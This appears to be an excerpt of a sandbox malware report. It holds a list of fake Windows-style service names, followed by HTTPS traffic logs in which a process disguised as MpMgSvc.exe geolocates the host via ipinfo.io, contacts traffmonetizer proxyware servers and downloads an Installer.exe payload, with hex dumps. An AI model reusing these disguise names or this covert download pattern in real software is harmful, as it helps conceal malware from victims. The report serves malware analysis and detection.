Service]WinDefenderWmiPrvSEmsubridgeChromeUpdatersnmpstorsrvtpmagentservicewmassrvvmichapagentsrvMaintenancesServicesmssecsvc2.0mssecsvc2.1SRDSLPSTSuperProServerSTWindosroServertServiceSaimsServiceSaisWindosiVMDHCPIWindosiVMDHCPDUOWindosiVMDHCPHUIWinVMDHCPIWinVMDHCPXtfyaXtfyaaXtfyaazexhbumpjqlsbdbuxbrtjuldlServicesHomeGroup Supportjgumfoxl updateWindows slide Help logInteractive Services Detection ReportGgvhfm Hixovydn DmaNetwork SupportSmart Card ReportMedialoaderctfmonwmiApSrvswmiApServsServiceMaimsServiceMaisxWinWpdSrvcftmonMetPipAtcivatorSetPipAtcivatorMicrosoftMysqlSQLWritersWinTcpAutoProxySezWinTcpAutoProxySvcMicrosoft SQL ServerMicrosoft SQL ServiceSQLAGENT MSSQL SQLIOSIMSWinHelp32COMSysAppDefghiDirectX yta jasdqwerqMYSQL Input Service Nameclr_optimization_v4.0.30328_64RpcEpttrkwkrWebServersDdriverMicrosoftMssqlEvent LogNetworkTimeHelperEvent Log

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	34.117.186.192	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:04:48 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-29 06:04:48 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sat, 29 Jun 2024 06:04:48 GMT content-type: application/json; charset=utf-8 Content-Length: 319 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-29 06:04:48 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:05:12 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=bKTp3DGr7l3Uk1o&MD=ksd93lmL HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-06-29 06:05:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c07460d5-9078-4e10-b793-7eeb2165797e MS-RequestId: ef0f45be-77ab-4bcc-ba5e-65db6a0e64a2 MS-CV: dFkc87GyHUSKNEF7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 29 Jun 2024 06:05:11 GMT Connection: close Content-Length: 24490
2024-06-29 06:05:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-06-29 06:05:12 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	64982	144.76.194.78	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:06:36 UTC	80	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com Connection: Keep-Alive
2024-06-29 06:06:37 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:06:37 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:06:37 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 31 37 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us17.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	54005	144.76.194.78	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:07:24 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-06-29 06:07:24 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:07:24 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:07:24 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 31 38 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us18.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	64579	168.119.91.41	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:07:31 UTC	80	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com Connection: Keep-Alive
2024-06-29 06:07:32 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:07:31 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:07:32 UTC	37	IN	Data Raw: 31 61 0d 0a 73 72 76 2d 75 73 38 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1asrv-us8.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	59910	144.76.194.78	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:07:53 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-06-29 06:07:53 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:07:53 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:07:53 UTC	37	IN	Data Raw: 31 61 0d 0a 73 72 76 2d 75 73 39 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1asrv-us9.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	62910	144.76.194.78	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:07:56 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-06-29 06:07:56 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:07:56 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:07:56 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 32 32 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us22.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	58631	144.76.194.78	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:08:05 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-06-29 06:08:05 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:08:05 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:08:05 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 31 34 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us14.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	54721	144.76.194.78	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:08:22 UTC	56	OUT	GET /resolve HTTP/1.1 Host: blnc.traffmonetizer.com
2024-06-29 06:08:22 UTC	175	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:08:22 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close
2024-06-29 06:08:22 UTC	38	IN	Data Raw: 31 62 0d 0a 73 72 76 2d 75 73 31 36 2e 74 72 61 66 66 6d 6f 6e 65 74 69 7a 65 72 2e 63 6f 6d 0d 0a 30 0d 0a 0d 0a Data Ascii: 1bsrv-us16.traffmonetizer.com0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	57765	136.243.150.101	443	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:09:04 UTC	89	OUT	GET /downloads/latest HTTP/1.1 Host: data.traffmonetizer.com Connection: Keep-Alive
2024-06-29 06:09:04 UTC	253	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:09:04 GMT Content-Type: application/octet-stream Content-Length: 9 Last-Modified: Thu, 13 Jun 2024 07:51:56 GMT Connection: close ETag: "666aa51c-9" Accept-Ranges: bytes
2024-06-29 06:09:04 UTC	9	IN	Data Raw: 31 2e 31 2e 33 2e 33 39 0a Data Ascii: 1.1.3.39
2024-06-29 06:09:05 UTC	72	OUT	GET /downloads/Installer.exe HTTP/1.1 Host: data.traffmonetizer.com
2024-06-29 06:09:05 UTC	239	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:09:05 GMT Content-Type: text/html Content-Length: 194 Connection: close Location: https://downloads.traffmonetizer.com/downloads/Installer.exe
2024-06-29 06:09:05 UTC	194	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	6185	49.12.131.126	443

Timestamp	Bytes transferred	Direction	Data
2024-06-29 06:09:06 UTC	101	OUT	GET /downloads/Installer.exe HTTP/1.1 Host: downloads.traffmonetizer.com Connection: Keep-Alive
2024-06-29 06:09:06 UTC	264	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 29 Jun 2024 06:09:06 GMT Content-Type: application/octet-stream Content-Length: 3024480 Last-Modified: Wed, 12 Jun 2024 20:54:37 GMT Connection: close ETag: "666a0b0d-2e2660" Accept-Ranges: bytes
2024-06-29 06:09:06 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 29 0a 6a 66 00 00 00 00 00 00 00 00 e0 00 2e 00 0b 01 06 00 00 6a 2b 00 00 94 02 00 00 00 00 00 3a 89 2b 00 00 20 00 00 00 a0 2b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2e 00 00 02 00 00 c5 64 2e 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL)jf.j+:+ +@ `.d.`
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: dc dd bb 00 00 00 13 08 28 10 00 00 06 6f 02 00 00 06 1b 8d 9b 00 00 01 25 16 20 36 16 eb 98 28 18 00 00 06 a2 25 17 07 6f 0d 01 00 0a a2 25 18 20 19 16 eb 98 28 18 00 00 06 a2 25 19 11 08 6f 7d 00 00 0a a2 25 1a 20 10 16 eb 98 28 18 00 00 06 a2 28 10 01 00 0a 6f e4 00 00 06 11 07 17 59 18 33 02 fe 1a 20 f4 01 00 00 28 ea 00 00 0a 04 07 6f 0d 01 00 0a 28 a6 00 00 0a 28 13 00 00 06 6f 11 01 00 0a 13 09 2b 0c 12 09 28 12 01 00 0a 6f 13 01 00 0a 12 09 28 14 01 00 0a 2d eb de 0e 12 09 fe 16 14 00 00 1b 6f 0b 00 00 0a dc de 03 26 de 00 de 00 08 17 58 0c 08 11 07 3f fd fe ff ff 06 6f 0c 00 00 0a 3a e1 fe ff ff de 1a 06 2c 06 06 6f 0b 00 00 0a dc 11 06 6f 0b 00 00 0a dc 11 05 6f 0b 00 00 0a dc 2a 00 00 00 41 c4 00 00 02 00 00 00 83 00 00 00 0a 00 00 00 8d 00 00 Data Ascii: (o% 6(%o% (%o}% ((oY3 (o((o+(o(-o&X?o:,ooo*A
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 6f 64 ff 00 6e 64 ff 00 6f 64 ff 00 6e 65 ff 00 6f 65 ff 00 6f 65 ff 00 6e 64 ff 00 6e 65 ff 00 6f 65 ff 00 6e 65 ff 00 6f 65 ff 00 6f 66 ff 00 6f 66 ff 00 6f 66 ff 00 6e 66 ff 00 6f 66 ff 00 6f 67 ff 00 6f 67 ff 00 6f 68 ff 00 6e 67 ff 00 6f 68 ff 00 6f 68 ff 00 6f 68 ff 00 6f 68 ff 00 6f 68 ff 00 6f 69 ff 00 6f 69 ff 00 6f 69 ff 00 6f 69 ff 00 6f 6a ff 00 6f 6a ff 00 6f 6a ff 00 70 6a ff 00 6f 6a ff 00 6f 6b ff 00 6f 6b ff 00 6f 6b ff 00 6f 6b ff 00 6f 6b ff 00 6f 6c ff 00 6f 6c ff 00 6f 6c ff 00 6f 6d ff 00 70 6d ff 00 70 6d ff 00 6e 6e ff 00 70 6d ff 00 70 6e ff 00 70 6e ff 00 6e 6e ff 00 70 6e ff 00 70 70 ff 00 70 70 ff 00 70 70 ff 00 6f 71 ff 00 6f 71 ff 00 71 71 ff 00 6f 71 ff 00 71 72 ff 00 6f 71 ff Data Ascii: odndodneoeoendneoeneoeofofofnfofogogohngohohohohohoioioioiojojojpjojokokokokokolololompmpmnnpmpnpnnnpnppppppoqoqqqoqqroq
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: 72 83 ff e1 72 84 ff 00 71 84 ff 00 72 84 ff 00 72 84 ff 00 71 85 ff 00 72 85 ff 00 72 86 ff 00 72 86 ff 00 72 86 ff 00 72 87 ff 00 73 87 ff 00 72 87 ff 00 73 87 ff 00 72 88 ff 00 72 88 ff 00 73 88 ff c3 72 89 ff ff 72 88 ff ff 72 89 ff ff 72 89 ff ff 73 8a ff ff 71 8a ff ff 73 8b ff ff 73 8b ff ff 73 8a ff ff 73 8b ff ff 71 8c ff ff 72 8c ff ff 72 8c ff e1 ab 55 71 00 ab 54 72 00 ab 54 70 00 aa 54 72 00 aa 54 72 00 ab 55 71 00 ab 55 70 00 ab 54 72 00 ab 54 70 00 ab 54 72 00 aa 55 71 00 aa 54 72 00 ab 54 72 0f ab 55 71 ff ab 54 70 ff ab 54 72 fe ab 55 71 64 ab 54 72 00 ab 55 70 00 ab 54 72 00 ab 55 71 00 ab 54 70 00 ab 54 72 00 ab 55 70 00 ab 55 70 00 aa 55 70 00 ab 55 71 00 ab 54 72 00 aa 54 72 00 aa 54 72 00 ab 54 72 00 ab 54 72 00 ab 54 70 00 ab 55 71 Data Ascii: rrqrrqrrrrrsrsrrsrrrrsqssssqrrUqTrTpTrTrUqUpTrTpTrUqTrTrUqTpTrUqdTrUpTrUqTpTrUpUpUpUqTrTrTrTrTrTpUq
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: b2 59 6a 00 b1 5a 69 00 b2 5a 69 00 b2 5a 69 00 b1 59 6b 00 b1 5a 69 00 b1 5a 69 00 b2 5a 69 00 b2 59 6b 00 b2 59 6a 00 b1 59 6a 00 b2 59 6a 00 71 71 ff 00 6f 71 ff 00 6f 72 ff 00 6f 72 ff 00 71 72 ff 00 6f 72 ff 00 70 73 ff 00 6f 73 ff 00 6f 73 ff 00 70 74 ff 00 6f 74 ff 00 70 74 ff 00 70 74 ff 00 70 74 ff 00 70 75 ff 00 70 75 ff 00 70 75 ff 00 70 75 ff 00 70 76 ff 00 70 76 ff 00 70 76 ff 00 70 76 ff 00 70 77 ff 00 70 77 ff 00 70 77 ff 00 70 78 ff 00 70 78 ff 00 71 79 ff 00 70 79 ff 00 71 7a ff 00 70 79 ff 00 70 7a ff 00 71 7a ff 00 70 7a ff 00 71 7b ff 00 70 7b ff 00 70 7b ff 00 71 7b ff 00 71 7c ff 00 71 7c ff 55 71 7c ff fc 71 7c ff ff 71 7d ff ff 71 7d ff ff 71 7e ff ff 71 7d ff ff 71 7e ff ff 71 7e ff ff 71 7f ff ff 71 7f ff ff 71 80 ff ff 71 7f ff Data Ascii: YjZiZiZiYkZiZiZiYkYjYjYjqqoqororqrorpsososptotptptptpupupupupvpvpvpvpwpwpwpxpxqypyqzpypzqzpzq{p{p{q{q\|q\|Uq\|q\|q}q}q~q}q~q~qqqq
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: 72 92 ff ff 73 92 ff ff 73 92 ff ff 72 93 ff ff 73 93 ff ff 73 93 ff ff 73 94 ff ff 74 94 ff ff 73 94 ff e1 73 94 ff 00 73 94 ff 00 74 95 ff 00 73 96 ff 00 73 96 ff 00 73 96 ff 00 73 96 ff 00 73 97 ff 00 74 97 ff 00 74 97 ff 00 74 97 ff 00 74 98 ff 00 74 98 ff 00 73 98 ff 00 74 99 ff 00 73 99 ff c3 74 99 ff ff 74 9a ff ff 74 9a ff ff 74 9a ff ff 74 9a ff ff 74 9b ff ff 74 9b ff ff 74 9b ff ff 74 9b ff ff 75 9b ff ff 74 9c ff ff 74 9c ff ff 75 9c ff e1 bc 60 5e 00 bb 60 5e 00 bb 60 5e 00 bc 60 5e 00 bc 5f 5f 00 bb 5f 5d 00 bc 5f 5d 00 bb 5f 5f 00 bb 60 5e 00 bc 5f 5f 00 bb 5f 5f 00 bb 60 5e 00 bc 5f 5d 0f bc 5f 5f ff bb 5f 5f ff bb 5f 5f ff bb 5f 5f ff bc 5f 5f ff bc 60 5e ff bb 60 5d ff bc 5f 5f ff bb 5f 5f ff bb 5f 5f ff bb 60 5e ff bc 60 5e ff bb 5f 5f Data Ascii: rssrssstssstssssstttttststttttttttuttu`^`^`^`^___]_]__`^____`^_]__________`^`]______`^`^__
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: c6 65 51 ff c7 66 4f ff c6 66 51 ff c7 66 51 ff c6 66 51 ff c7 66 51 ff c6 66 51 ff c7 66 51 ff c6 65 51 ff c7 66 51 ff c6 66 4f ff c7 66 4f ff c7 66 51 ff c7 66 51 ff c7 66 51 ff c6 66 4f ff c6 66 51 ff c6 66 4f ff c7 66 4f fa c7 66 51 4e 72 81 ff 00 71 81 ff 6f 72 81 ff ff 72 82 ff ff 72 83 ff ff 72 83 ff ff 72 83 ff ff 72 84 ff ff 72 84 ff ff 72 84 ff ff 72 84 ff ff 72 85 ff ff 72 85 ff ff 72 85 ff ff 72 85 ff ff 72 86 ff ff 72 86 ff ff 72 86 ff ff 72 87 ff ff 72 87 ff ff 73 87 ff dc 72 88 ff 28 72 87 ff 00 72 88 ff 00 73 88 ff 00 72 89 ff 00 73 8a ff 00 72 89 ff 00 71 8a ff 00 73 8a ff 00 71 8a ff 00 73 8a ff 00 73 8b ff 00 73 8b ff 00 72 8c ff 00 72 8c ff 00 72 8d ff 00 72 8d ff 00 72 8d ff 00 72 8d ff 00 72 8d ff 00 72 8d ff 00 72 8e ff 00 72 8f ff Data Ascii: eQfOfQfQfQfQfQfQeQfQfOfOfQfQfQfOfQfOfOfQNrqorrrrrrrrrrrrrrrrrrsr(rrsrsrqsqsssrrrrrrrrrr
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: 75 a0 ff 00 75 9f ff 00 75 a0 ff 00 75 a0 ff 00 75 a0 ff 00 73 a1 ff 00 74 a1 ff 00 74 a1 ff 00 74 a1 ff 00 74 a1 ff 00 74 a2 ff 00 74 a2 ff 00 74 a2 ff 00 76 a2 ff 00 74 a3 ff 00 74 a2 ff 00 74 a3 ff 00 74 a3 ff 00 74 a4 ff 00 75 a3 ff 00 75 a4 ff 00 74 a4 ff 00 74 a4 ff 00 74 a5 ff 00 75 a5 ff 00 74 a5 ff 00 75 a5 ff 00 75 a7 ff 00 74 a7 ff 00 75 a7 ff 00 75 a7 ff 00 74 a7 ff 00 75 a7 ff c3 74 a7 ff f0 75 a7 ff d1 75 a7 ff b2 75 a9 ff 93 75 a7 ff 75 75 a9 ff 57 75 a7 ff 39 75 a9 ff 19 75 a9 ff 01 75 a9 ff 00 75 a9 ff 00 75 a9 ff 00 d2 6d 3e 00 d3 6d 3e 00 d2 6d 3e 00 d3 6d 3e 00 d3 6d 3e 00 d3 6d 3e 00 d3 6d 3e 00 d2 6d 3e 00 d2 6e 3d 00 d2 6d 3e 00 d3 6d 3e 00 d3 6d 3e 00 d2 6d 3e 00 d3 6d 3e 0f d3 6d 3e ff d3 6d 3e ff d3 6d 3e ff d3 6d 3e ff d3 6d 3e Data Ascii: uuuuustttttttvtttttuutttutuutuututuuuuuuWu9uuuuum>m>m>m>m>m>m>m>n=m>m>m>m>m>m>m>m>m>m>
2024-06-29 06:09:06 UTC	16384	IN	Data Raw: de 74 27 00 de 74 27 00 dd 75 28 00 dd 74 2a 00 de 75 25 00 dd 75 25 00 de 74 27 00 dd 75 25 00 de 74 2a 00 de 74 27 00 dd 75 25 00 dd 75 25 00 dd 75 25 00 dd 74 2a 00 dd 74 27 00 dd 74 2a 00 dd 75 25 00 de 74 2a 00 dd 75 25 00 dd 74 27 00 de 74 27 00 de 74 27 00 de 74 27 00 dd 74 27 00 de 74 2a 00 dd 75 25 00 dd 74 27 00 de 74 27 00 73 93 ff 00 73 93 ff 00 73 93 ff 00 73 93 ff 00 73 94 ff 00 73 94 ff 00 73 94 ff 00 73 94 ff 00 73 95 ff 00 73 95 ff 00 73 95 ff 00 73 96 ff 00 73 96 ff 00 74 96 ff 00 73 96 ff 00 73 97 ff 00 74 97 ff 00 74 97 ff 00 74 98 ff 00 73 98 ff 00 74 98 ff 00 74 99 ff 00 74 99 ff 00 74 99 ff 00 74 99 ff 00 74 9a ff 00 74 99 ff 00 74 9a ff 00 74 9a ff 00 74 9b ff 00 74 9a ff 00 74 9b 